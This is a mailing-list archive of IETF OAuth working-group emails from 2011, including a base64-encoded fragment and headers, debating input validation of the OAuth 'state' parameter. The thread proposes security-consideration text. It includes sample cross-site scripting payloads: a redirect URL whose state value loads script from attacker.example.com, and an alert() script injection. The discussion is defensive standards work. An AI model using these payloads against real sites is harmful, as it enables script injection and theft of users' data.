dGhpbmsgdGhlIGV4aXN0aW5nIHRleHQgb3ZlcmFsbCBtYWtlczxicj4mZ3Q7ICZndDt0aGlzIHBv aW50IGFscmVhZHkuPGJyPiZndDsgJmd0Ozxicj4mZ3Q7ICZndDtFSEw8YnI+Jmd0OyAmZ3Q7PGJy PiZndDsgJmd0O0Zyb206IFRvcnN0ZW4gTG9kZGVyc3RlZHQgPGEgaHJlZj0ibWFpbHRvOlttYWls dG86dG9yc3RlbkBsb2RkZXJzdGVkdC5uZXRdIj5bbWFpbHRvOnRvcnN0ZW5AbG9kZGVyc3RlZHQu bmV0XTwvYT48YnI+Jmd0OyAmZ3Q7U2VudDogV2VkbmVzZGF5LCBKdWx5IDA2LCAyMDExIDEyOjQ4 IEFNPGJyPiZndDsgJmd0O1RvOiBFcmFuIEhhbW1lci1MYWhhdjsgT0F1dGggV0c8YnI+Jmd0OyAm Z3Q7U3ViamVjdDogUmU6IFNlY3Rpb24gMTAuMSAoQ2xpZW50IGF1dGhlbnRpY2F0aW9uKTxicj4m Z3Q7ICZndDs8YnI+Jmd0OyAmZ3Q7SGkgRXJhbiw8YnI+Jmd0OyAmZ3Q7PGJyPiZndDsgJmd0O0kg d291bGQ8bzpwPjwvbzpwPjwvc3Bhbj48L3ByZT48cHJlPjxzcGFuIHN0eWxlPSdmb250LWZhbWls eToiQXJpYWwiLCJzYW5zLXNlcmlmIic+c3VnZ2VzdCB0byBjaGFuZ2UgaXQgdG8gU0hPVUxEIGFu ZCBhZGQgYSByZWZlcmVuY2UgdG88YnI+Jmd0OyAmZ3Q7PGEgaHJlZj0iaHR0cHM6Ly90b29scy5p ZXRmLm9yZy9odG1sL2RyYWZ0LWlldGYtb2F1dGgtdjItdGhyZWF0bW9kZWwtMDAiPmh0dHBzOi8v dG9vbHMuaWV0Zi5vcmcvaHRtbC9kcmFmdC1pZXRmLW9hdXRoLXYyLXRocmVhdG1vZGVsLTAwPC9h PiBzZWN0aW9uczxicj4mZ3Q7ICZndDszLjcgYW5kIDUuMi4zLjxicj4mZ3Q7ICZndDs8YnI+Jmd0 OyAmZ3Q7cmVnYXJkcyw8YnI+Jmd0OyAmZ3Q7VG9yc3Rlbi48YnI+Jmd0OyAmZ3Q7PGJyPiZndDsg Jmd0Ozxicj4mZ3Q7ICZndDtFcmFuIEhhbW1lci1MYWhhdjxicj4mZ3Q7ICZsdDs8YSBocmVmPSJt YWlsdG86ZXJhbkBodWVuaXZlcnNlLmNvbSUzY21haWx0bzplcmFuQGh1ZW5pdmVyc2UuY29tIj5l cmFuQGh1ZW5pdmVyc2UuY29tJmx0O21haWx0bzplcmFuQGh1ZW5pdmVyc2UuY29tPC9hPiZndDsm Z3Q7PGJyPiZndDsgJmd0O3NjaHJpZWI6PGJyPiZndDsgJmd0O0l0J3MgYSBwb2ludGxlc3MgTVVT VCBnaXZlbiBob3cgdW5kZWZpbmVkIHRoZSByZXF1aXJlbWVudHMgYXJlLiBJdCB3aWxsPGJyPiZn dDsgJmd0O29ubHkgYmUgdW5kZXJzdG9vZCBieSBzZWN1cml0eSBleHBlcnRzIGFuZCB0aGV5IGRv bid0IHJlYWxseSBuZWVkIGl0Ljxicj4mZ3Q7ICZndDtBdCBhIG1pbmltdW0sIGl0IG5lZWRzIHNv bWUgZXhhbXBsZXMuPGJyPiZndDsgJmd0Ozxicj4mZ3Q7ICZndDtFSEw8YnI+Jmd0OyAmZ3Q7PGJy PiZndDsgJmd0O0Zyb206IFRvcnN0ZW4gTG9kZGVyc3RlZHQ8YnI+Jmd0OyAmZ3Q7Jmx0OzxhIGhy ZWY9Im1haWx0bzp0b3JzdGVuQGxvZGRlcnN0ZWR0Lm5ldCUzY21haWx0bzp0b3JzdGVuQGxvZGRl cnN0ZWR0Lm5ldCI+dG9yc3RlbkBsb2RkZXJzdGVkdC5uZXQmbHQ7bWFpbHRvOnRvcnN0ZW5AbG9k ZGVyc3RlZHQubmV0PC9hPiZndDsmZ3Q7PGJyPiZndDsgJmd0O0RhdGU6IFdlZCwgMSBKdW4gMjAx MSAwMDo1MzozNyAtMDcwMDxicj4mZ3Q7ICZndDtUbzogRXJhbiBIYW1tZXItbGFoYXY8YnI+Jmd0 OzxvOnA+PC9vOnA+PC9zcGFuPjwvcHJlPjxwcmUgc3R5bGU9J21hcmdpbi1ib3R0b206MTIuMHB0 Jz48c3BhbiBzdHlsZT0nZm9udC1mYW1pbHk6IkFyaWFsIiwic2Fucy1zZXJpZiInPiZndDsmbHQ7 PGEgaHJlZj0ibWFpbHRvOmVyYW5AaHVlbml2ZXJzZS5jb20lM2NtYWlsdG86ZXJhbkBodWVuaXZl cnNlLmNvbSI+ZXJhbkBodWVuaXZlcnNlLmNvbSZsdDttYWlsdG86ZXJhbkBodWVuaXZlcnNlLmNv bTwvYT4mZ3Q7Jmd0OywgT0F1dGggV0c8YnI+Jmd0OyAmZ3Q7Jmx0OzxhIGhyZWY9Im1haWx0bzpv YXV0aEBpZXRmLm9yZyUzY21haWx0bzpvYXV0aEBpZXRmLm9yZyI+b2F1dGhAaWV0Zi5vcmcmbHQ7 bWFpbHRvOm9hdXRoQGlldGYub3JnPC9hPiZndDsmZ3Q7PGJyPiZndDsgJmd0O1N1YmplY3Q6IFNl Y3Rpb24gMTAuMSAoQ2xpZW50IGF1dGhlbnRpY2F0aW9uKTxicj4mZ3Q7ICZndDs8YnI+Jmd0OyAm Z3Q7SGkgRXJhbiw8YnI+Jmd0OyAmZ3Q7PGJyPiZndDsgJmd0O3dvdWxkIHlvdSBwbGVhc2UgYWRk IHRoZSBmb2xsb3dpbmcgc2VudGVuY2UgKHdoaWNoIHdhcyBjb250YWluZWQgaW4gdGhlPGJyPiZn dDsgJmd0O29yaWdpbmFsIHNlY3VyaXR5IGNvbnNpZGVyYXRpb25zIHRleHQpIHRvIHRoZSBzZWNv bmQgcGFyYWdyYXBoIG9mPGJyPiZndDsgJmd0O3NlY3Rpb24gMS4wLjE/PGJyPiZndDsgJmd0Ozxi cj4mZ3Q7ICZndDtBbHRlcm5hdGl2ZWx5LCBhdXRob3JpemF0aW9uIHNlcnZlcnMgTVVTVCB1dGls aXplPGJyPiZndDsgJmd0O8KgwqDCoCBvdGhlciBtZWFucyB0aGFuIGNsaWVudCBhdXRoZW50aWNh dGlvbiB0byBhY2hpZXZlIHRoZWlyIHNlY3VyaXR5PGJyPiZndDsgJmd0O8KgwqDCoCBvYmplY3Rp dmVzLjxicj4mZ3Q7ICZndDs8YnI+Jmd0OyAmZ3Q7PGJyPiZndDsgJmd0O0kgdGhpbmsgaXQncyBp bXBvcnRhbnQgdG8gc3RhdGUgdGhhdCBhdXRob3JpemF0aW9uIHNlcnZlciBzaG91bGQ8YnI+Jmd0 OyAmZ3Q7Y29uc2lkZXIgYWx0ZXJuYXRpdmUgd2F5IHRvIHZhbGlkYXRlIHRoZSBjbGllbnQgaWRl bnRpdHkgaWYgc2VjcmV0czxicj4mZ3Q7ICZndDtjYW5ub3QgYmUgdXNlZC4gVGhlIHNlY3VyaXR5 IHRocmVhdCBkb2N1bWVudCBhbHNvIHN1Z2dlc3Qgc29tZS48YnI+Jmd0OyAmZ3Q7PGJyPiZndDsg Jmd0O3JlZ2FyZHMsPGJyPiZndDsgJmd0O1RvcnN0ZW4uPG86cD48L286cD48L3NwYW4+PC9wcmU+ PC9kaXY+PC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4= --_000_90C41DD21FB7C64BB94121FBBC2E72345021F378B3P3PW5EX1MB01E_-- From eran@hueniverse.com Sun Jul 24 23:38:19 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id EA34921F8AEE for ; Sun, 24 Jul 2011 23:38:19 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.494 X-Spam-Level: X-Spam-Status: No, score=-1.494 tagged_above=-999 required=5 tests=[AWL=-1.031, BAYES_00=-2.599, FRT_STRONG2=1.535, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id JsQmMCJyvFqL for ; Sun, 24 Jul 2011 23:38:14 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 1AA8A21F8AEC for ; Sun, 24 Jul 2011 23:38:14 -0700 (PDT) Received: (qmail 6540 invoked from network); 25 Jul 2011 06:38:13 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 06:38:13 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Sun, 24 Jul 2011 23:38:13 -0700 From: Eran Hammer-Lahav To: Aiden Bell , OAuth WG Date: Sun, 24 Jul 2011 23:37:36 -0700 Thread-Topic: [OAUTH-WG] OAuth v2-18 comment on "state" parameter Thread-Index: AcxHEDgMZ705j0lxQsSb8d2QJpnZRgDhOUhg Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F378B7@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CE2@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652D1E@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E72345021F378B7P3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 06:38:20 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E72345021F378B7P3PW5EX1MB01E_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable This seems too verbose, considering how fundamental input validation is in = general. I added the following to a new section: A code injection attack occurs when an input or otherwise externa= l variable is used by an application in which that input can cause modification of the app= lication logic when used unsanitized. This may allow an attacker to gain access to the app= lication device or its data, cause denial of service, or a wide range of malicious side-= effects. The Authorization server and client MUST validate and sanitize an= y value received, and in particular, the value of the 'state' and 'redirect_uri' parameter= s. EHL From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of A= iden Bell Sent: Wednesday, July 20, 2011 12:04 PM To: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter See below for revision, tried to follow the "introduction, recommendation, = example" structure in 10.12 "Cross-site Request Forgery" and shorten my text. I'm strugging to make it clear that any internal modification to the 'state= ' parameter must not affect the re-transmitted value of 'state' in Authorization Respon= se / Error Response when it originates from the authorisation server. --- Security Consideration: Code Injection Attacks Code injection attacks are when an input or otherwise external variable is = used within an application where that input can cause modification of application logic when unsanitised. This may allow an attacker to gain access to client or us= er data, cause Denial of Service or a wide range of malicious side-effects. Incorrect validation or sanitation of the 'state' parameter from section 4.= 1.2 could lead to code injection. Both client and server SHOULD ensure that the "state" parameter = described in section 4.1.2 is correctly sanitised for internal processing, storage or= output outside the scope of the OAuth protocol. Failure to correctly sanitise the 'state' parameter can cause code injectio= n attacks even if a cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is = used. As an example, a malicious person may create a fake Error Response as descr= ibed in section 4.1.2.1 containing a maliciously crafted state parameter. The following req= uest would be sent to the client: https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20ty= pe%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2= Fmalicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client a= pplication may result in the injection of code into the user agent of the end user, po= ssibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to= remove or escape HTML syntax before interpolation of the value into server output to the user age= nt. --end-- On 20 July 2011 19:40, Eran Hammer-Lahav > wrote: Take a look at how the other sections in the draft setup the premise first = and give a quick explanation of the attack... EHL From: Aiden Bell [mailto:aiden449@gmail.com] Sent: Wednesday, July 20, 2011 11:38 AM To: Eran Hammer-Lahav; OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter Been following this discussion I'll propose some text, though it seems to me it is getting into the realm = of "Don't trust inputs" It is also worth noting that signing the request using something like the H= MAC extension elevates any problems where you DO need to evaluate the state parameter in some way wher= e the evaluation process is too complex to secure (DSLs and languages in state, which is really ugly= but, someone may do it). Really though, just seems like general application security advice rather t= han OAuth specific Security Consideration: Code Injection Attacks Incorrect validation or sanitation of the 'state' parameter from section 4.= 1.2 could lead to code injection. Both client and server SHOULD ensure that the "state" parameter described in section 4.1.2 is correctly validated, escaped or sanitised prior to proc= essing for their application's requirements. Modifications, for security or otherwise to the 'state' varia= ble contained in the Authorization Request by the authorization server will not be transmitted to the client in the Authoriza= tion Response or Error Response as the response 'state' value MUST be identical to the value in the request= . If the 'state' parameter passed between client and server contains a value = which is interpreted or otherwise placed into a context that requires evaluation of the unmodified = value then a cryptographic scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used = to verify request authenticity. It should be noted however than a cryptographically authentic request may s= till contain malicious code if the client or server integrity can not be established and trusted. As an example, a malicious person may create a fake Error Response as descr= ibed in section 4.1.2.1 containing a maliciously crafted state parameter. The following req= uest would be sent to the client: https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20ty= pe%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2= Fmalicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client a= pplication may result in the injection of code into the user agent of the end user, po= ssibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to= remove or escape HTML syntax before interpolation of the value into server output to the user age= nt. --end-- Not claiming it is good, well written or concise ... but it is proposed. Ev= en if it is rejected, feedback would be appreciated. Thanks, Aiden On 20 July 2011 18:36, Eran Hammer-Lahav > wrote: I think most of your description isn't very relevant to this particular att= ack. I'll skip to the part where the legitimate client gets a maliciously m= odified state parameter value. Your concern seems to be a simple code injection attack (e.g. that some cli= ents will not properly protect their code from invalid state values). For e= xample, a client may use state to pass a JSON string and when it receives i= t back, calls eval() on the raw state value or even JSON.parse without catc= hing exceptions. The right way to address this is to add a new security consideration sectio= n discussion the various Injection Attacks possible. Using state to include= malicious code is one. Another is code injection in the redirect_uri by a = malicious client to an authorization server supporting dynamic redirection = URIs. Then of course, there really is no need for any elaborate setup for anyone = to send requests to the client redirection URI endpoint directly (without f= ollowing any of the flow). In such a case, the enforcement of safe state va= lues by the authorization server will accomplish nothing if the client does= n't perform its own validation (and we're back to square one). In other wor= ds, I can call any endpoint on the client with any malicious parameters and= try to break it. But even if you perform input validation on the client side, which should p= revent a code injection attack, you are still open to other malicious manip= ulation of the state parameter. For example, a na=EFve client can use the s= tate parameter to pass a user id so that when the redirection callback is c= alled, it can link the access token to that account. That of course, would = be a very bad thing (tm) without some protection (e.g. state cookie) which = the client can use to validate the state value. In short, over specification does not solve ignorance. We can and should hi= ghlight the possible code injection attacks on both the client and authoriz= ation server, as well as other security concerns around the state parameter= . But at the end, it is up to both the client and authorization server deve= lopers to build secure applications. So, anyone volunteering to propose text? EHL > -----Original Message----- > From: bigbadbob0@gmail.com [mailto:bigbadbob= 0@gmail.com] On Behalf Of > Bob Van Zant > Sent: Wednesday, July 20, 2011 9:29 AM > To: Eran Hammer-Lahav > Cc: Breno; OAuth WG > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > The problem lies in the inherent trust of the state parameter. The naive > client application developer assumes that state goes out to the authoriza= tion > server and comes back unchanged; because that's what the spec says will > happen. > > As a malicious person I use the client application and steal the client i= d when > I'm redirected to the authorization server. > > I then craft my own authorization URL pretending to act on behalf of the > client application. > > http://example.com/oauth/authorize?client_id=3Ddeadbeef&response_type=3D > code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E > > I send that out to unsuspecting people. Those people are sent to my site; > maybe they trust it. The site is asking them to authorize an application = they > perhaps they're familiar with. So they do. > > Now the assumption, and it's really not much of a leap of faith, is that = some > client developer is going to take that state variable and put it directly= into > their site. In PHP it could be something silly > like: > > Thanks for authorizing our app, $_GET["state"]. > > Chrome protects me from this basic attack (I just inserted it into one of= my > demos): Refused to execute a JavaScript script. Source code of script fou= nd > within request. Other browsers won't. Real attackers are more creative th= an > me. > > -Bob > > > > > > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > > wrote: > > Can you provide examples of bad values and how they make the > implementation less secure? What's the attack vector here? > > > > EHL > > > >> -----Original Message----- > >> From: bigbadbob0@gmail.com [mailto:bigbad= bob0@gmail.com] On Behalf > Of > >> Bob Van Zant > >> Sent: Wednesday, July 20, 2011 9:10 AM > >> To: Breno; Eran Hammer-Lahav > >> Cc: OAuth WG > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > >> > >> I think somewhere in here my original comments got lost. The spec, as > >> written, provides no limitations on what can go in the state variable. > >> If we don't define those limitations in the spec implementors are > >> going to define their own limitations (I'm on the verge of doing it my= self). > >> > >> I propose that the state variable be limited to the set of characters > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 characters= . > >> It's simple, doesn't require URL encoding, and will be hard for a > >> client application to turn into a vulnerability. It provides plenty > >> of uniqueness (it can fit a sha512) for even the largest and most used > client applications. > >> > >> -Bob > >> > >> > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno > > >> wrote: > >> > > >> > > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > >> > > > >> > wrote: > >> >> > >> >> > >> >> > -----Original Message----- > >> >> > From: oauth-bounces@ietf.org [mail= to:oauth-bounces@ietf.org] On > >> >> > Behalf Of Eliot Lear > >> >> > Sent: Sunday, July 17, 2011 2:49 AM > >> >> > >> >> > One other point: if the redirection_uri can have fragments and > >> >> > can be provided, why is state necessary? > >> >> > >> >> First, I assume you mean query instead of fragment. > >> >> > >> >> This was discussed on the list about a year ago. There isn't a > >> >> requirement to support both dynamic redirection URIs as well as a > >> >> special state parameter. However, the state parameter provides a > >> >> better way to allow customization of the redirection request > >> >> alongside full registration of the redirection URI. Section 3.1.2 > >> >> recommends using the state parameter over changing the redirection > >> >> URI > >> itself. > >> >> > >> >> Using state is much simpler because the authorization server does > >> >> not have to implement potentially insecure URI comparison > >> >> algorithms for dynamic redirection URIs. > >> > > >> > Agree -- for instance, Google's provider doesn't allow arbitrary > >> > dynamic specification of query or fragment parameters in redirect > >> > URIs, for instance, due largely to security considerations. > >> > > >> >> > >> >> EHL > >> >> _______________________________________________ > >> >> OAuth mailing list > >> >> OAuth@ietf.org > >> >> https://www.ietf.org/mailman/listinfo/oauth > >> > > >> > > >> > > >> > -- > >> > Breno de Medeiros > >> > > >> > > > _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth -- ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypte= d. http://www.gnupg.org -- ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypte= d. http://www.gnupg.org --_000_90C41DD21FB7C64BB94121FBBC2E72345021F378B7P3PW5EX1MB01E_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

This seem= s too verbose, considering how fundamental input validation is in general.<= o:p>

 

I added the following to a new section:<= /o:p>

 

=A0=A0=A0=A0=A0=A0=A0=A0=A0 A code injection atta= ck occurs when an input or otherwise external variable is used by an

=A0=A0 =A0=A0=A0=A0=A0=A0=A0app= lication in which that input can cause modification of the application logi= c when used

=A0=A0=A0=A0= =A0=A0=A0=A0=A0 unsanitized. This may allow an attacker to gain access to t= he application device or its

=A0=A0=A0=A0=A0=A0=A0=A0=A0 data, cause denial of service, or a wide ra= nge of malicious side-effects.

=A0=A0=A0=A0=A0=A0=A0 </t>

=A0=A0=A0=A0=A0=A0=A0 <t>

=A0=A0=A0=A0=A0=A0=A0=A0=A0 The Authorization server and client MUST val= idate and sanitize any value received, and in

=A0=A0=A0=A0=A0=A0=A0=A0=A0 particular, the value of t= he ‘state’ and ‘redirec= t_uri’ parameters.

=  

EHL

 

 

 

From:= oau= th-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of Aid= en Bell
Sent: Wednesday, July 20, 2011 12:04 PM
To: OAu= th WG
Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state&= quot; parameter

=  

See below for revision, tried to follo= w the "introduction, recommendation, example"
structure in 10.= 12 "Cross-site Request Forgery" and shorten my text.

I'm s= trugging to make it clear that any internal modification to the 'state' par= ameter
must not affect the re-transmitted value of 'state' in Authorizat= ion Response / Error
Response when it originates from the authorisation = server.

---


Security Consideration: Code Injection Attacks

Code injection attacks are when an input or= otherwise external variable is used within
an application where that in= put can cause modification of application logic
when unsanitised. This m= ay allow an attacker to gain access to client or user data,
cause Denial= of Service or a wide range of malicious side-effects.

<= p class=3DMsoNormal>

Incorrect validation or sanitation of the 'stat= e' parameter from section 4.1.2 could lead to code
injection. Both clien= t and server SHOULD ensure that the "state" parameter described

in s= ection 4.1.2 is correctly sanitised for internal processing, storage or out= put outside the
scope of the OAuth protocol.

Failure to correctl= y sanitise the 'state' parameter can cause code injection attacks even if a=
cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac]= is used.

As an example, a malicious person may create a fake Error = Response as described in section
4.1.2.1 containing a maliciously crafte= d state parameter. The following request would be sent to
the client:
 https= ://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20type= %3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fm= alicious.js%22%20%2F%3E

Insecure transfer of the decoded value i= nto the HTML buffer of the client application
may result in the injectio= n of code into the user agent of the end user, possibly compromising data. =
This example attack can be mitigated by sanitising the 'state' paramete= r to remove or escape HTML
syntax before interpolation of the value into= server output to the user agent.

--end--

On 20 July 2011 19:40, Eran Hammer-Lahav <eran@hueniverse.com> wrote:

Take a look at= how the other sections in the draft setup the premise first and give a qui= ck explanation of the attack…

 

EHL

=  

=

From: Aiden Bell [mailto:aiden449@gmail.com]
Sent:= Wednesday, July 20, 2011 11:38 AM
To: Eran Hammer-Lahav; OAu= th WG


Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter

 

Been= following this discussion

I'll propose some text, though it seems t= o me it is getting into the realm of "Don't trust inputs"

= It is also worth noting that signing the request using something like the H= MAC extension elevates any
problems where you DO need to evaluate the st= ate parameter in some way where the evaluation process
is too complex to= secure (DSLs and languages in state, which is really ugly but, someone may= do it).

Really though, just seems like general application securit= y advice rather than OAuth specific

Security Consideration: Code Inj= ection Attacks

Incorrect validation or sanitation of the 'state' par= ameter from section 4.1.2 could lead to code
injection.

Both clie= nt and server SHOULD ensure that the "state" parameter described<= br>in section 4.1.2 is correctly validated, escaped or sanitised prior to p= rocessing for their application's
requirements. Modifications, for secur= ity or otherwise to the 'state' variable contained in the Authorization Req= uest by the
authorization server will not be transmitted to the client i= n the Authorization Response or Error Response
as the response 'state' v= alue MUST be identical to the value in the request.

If the 'state' p= arameter passed between client and server contains a value which is interpr= eted or
otherwise placed into a context that requires evaluation of the = unmodified value then a cryptographic
scheme such as that defined in [I-= D.ietf-oauth-v2-http-mac] should be used to verify request authenticity.It should be noted however than a cryptographically authentic request may = still contain malicious
code if the client or server integrity can not b= e established and trusted.

As an example, a malicious person may cre= ate a fake Error Response as described in section
4.1.2.1 containing a m= aliciously crafted state parameter. The following request would be sent to<= br>the client:

 https://client.example.com/cb?error=3Daccess_denied&state= =3D%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattac= ker.example.com%2Fmalicious.js%22%20%2F%3E

Insecure transfer of = the decoded value into the HTML buffer of the client application
may res= ult in the injection of code into the user agent of the end user, possibly = compromising data.
This example attack can be mitigated by sanitising t= he 'state' parameter to remove or escape HTML
syntax before interpolatio= n of the value into server output to the user agent.

--end--

= Not claiming it is good, well written or concise ... but it is proposed. Ev= en if it is rejected, feedback
would be appreciated.

Thanks,
A= iden

On 20 July 2011 18:36, Eran Hammer-Lahav <= ;eran@hueniverse.c= om> wrote:

I think most of your description isn= 't very relevant to this particular attack. I'll skip to the part where the= legitimate client gets a maliciously modified state parameter value.
Your concern seems to be a simple code injection attack (e.g. that some c= lients will not properly protect their code from invalid state values). For= example, a client may use state to pass a JSON string and when it receives= it back, calls eval() on the raw state value or even JSON.parse without ca= tching exceptions.

The right way to address this is to add a new sec= urity consideration section discussion the various Injection Attacks possib= le. Using state to include malicious code is one. Another is code injection= in the redirect_uri by a malicious client to an authorization server suppo= rting dynamic redirection URIs.

Then of course, there really is no n= eed for any elaborate setup for anyone to send requests to the client redir= ection URI endpoint directly (without following any of the flow). In such a= case, the enforcement of safe state values by the authorization server wil= l accomplish nothing if the client doesn't perform its own validation (and = we're back to square one). In other words, I can call any endpoint on the c= lient with any malicious parameters and try to break it.

But even if= you perform input validation on the client side, which should prevent a co= de injection attack, you are still open to other malicious manipulation of = the state parameter. For example, a na=EFve client can use the state parame= ter to pass a user id so that when the redirection callback is called, it c= an link the access token to that account. That of course, would be a very b= ad thing (tm) without some protection (e.g. state cookie) which the client = can use to validate the state value.

In short, over specification do= es not solve ignorance. We can and should highlight the possible code injec= tion attacks on both the client and authorization server, as well as other = security concerns around the state parameter. But at the end, it is up to b= oth the client and authorization server developers to build secure applicat= ions.

So, anyone volunteering to propose text?


EHL


> -----Original Message-----
> From: bigbadbob0@gmail.com [mailto:bigbad= bob0@gmail.com] On Behalf Of
> Bob Van Zant

<= p class=3DMsoNormal style=3D'mso-margin-top-alt:auto;mso-margin-bottom-alt:= auto'>> Sent: Wednesday, July 20, 2011 9:29 AM
> To: Eran Hammer-L= ahav
> Cc: Breno; OAuth WG

> Subjec= t: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
>= ;
> The problem lies in the inherent trust of the state parameter. Th= e naive
> client application developer assumes that state goes out to= the authorization
> server and comes back unchanged; because that's = what the spec says will
> happen.
>
> As a malicious pers= on I use the client application and steal the client id when
> I'm re= directed to the authorization server.
>
> I then craft my own a= uthorization URL pretending to act on behalf of the
> client applicat= ion.
>
> http://example.com/oau= th/authorize?client_id=3Ddeadbeef&response_type=3D
> code&= ;state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E
>
>= I send that out to unsuspecting people. Those people are sent to my site;<= br>> maybe they trust it. The site is asking them to authorize an applic= ation they
> perhaps they're familiar with. So they do.
>
&g= t; Now the assumption, and it's really not much of a leap of faith, is that= some
> client developer is going to take that state variable and put= it directly into
> their site. In PHP it could be something silly> like:
>
>     Thanks for authorizing our app, $= _GET["state"].
>
> Chrome protects me from this basic= attack (I just inserted it into one of my
> demos): Refused to execu= te a JavaScript script. Source code of script found
> within request.= Other browsers won't. Real attackers are more creative than
> me.>
> -Bob
>
>
>
>
>
> On Wed, = Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav
> <eran@hueniverse.com> wrote:
= > > Can you provide examples of bad values and how they make the
&= gt; implementation less secure? What's the attack vector here?
> >=
> > EHL
> >
> >> -----Original Message-----<= br>> >> From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf
> Of
>= ; >> Bob Van Zant
> >> Sent: Wednesday, July 20, 2011 9:1= 0 AM
> >> To: Breno; Eran Hammer-Lahav
> >> Cc: OAu= th WG
> >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "= ;state" parameter
> >>
> >> I think somewhere = in here my original comments got lost. The spec, as
> >> writte= n, provides no limitations on what can go in the state variable.
> &g= t;> If we don't define those limitations in the spec implementors are> >> going to define their own limitations (I'm on the verge of d= oing it myself).
> >>
> >> I propose that the state= variable be limited to the set of characters
> >> [a-zA-Z0- 9_= -] and be restricted to a maximum length of 150 characters.
> >>= ; It's simple, doesn't require URL encoding, and will be hard for a
>= >> client application to turn into a vulnerability. It provides plen= ty
> >> of uniqueness (it can fit a sha512) for even the larges= t and most used
> client applications.
> >>
> >&= gt; -Bob
> >>
> >>
> >> On Wed, Jul 20,= 2011 at 8:24 AM, Breno <breno.demedeiros@gmail.com>
> >> wrote:=
> >> >
> >> >
> >> > On Mon, = Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav
> >> > <eran@hueniverse.com= >
> >> > wrote:
> >> >>
> >>= ; >>
> >> >> > -----Original Message-----
>= ; >> >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On
> = >> >> > Behalf Of Eliot Lear
> >> >> > = Sent: Sunday, July 17, 2011 2:49 AM
> >> >>
> >&= gt; >> > One other point: if the redirection_uri can have fragment= s and
> >> >> > can be provided, why is state necessar= y?
> >> >>
> >> >> First, I assume you = mean query instead of fragment.
> >> >>
> >> = >> This was discussed on the list about a year ago. There isn't a
= > >> >> requirement to support both dynamic redirection URIs= as well as a
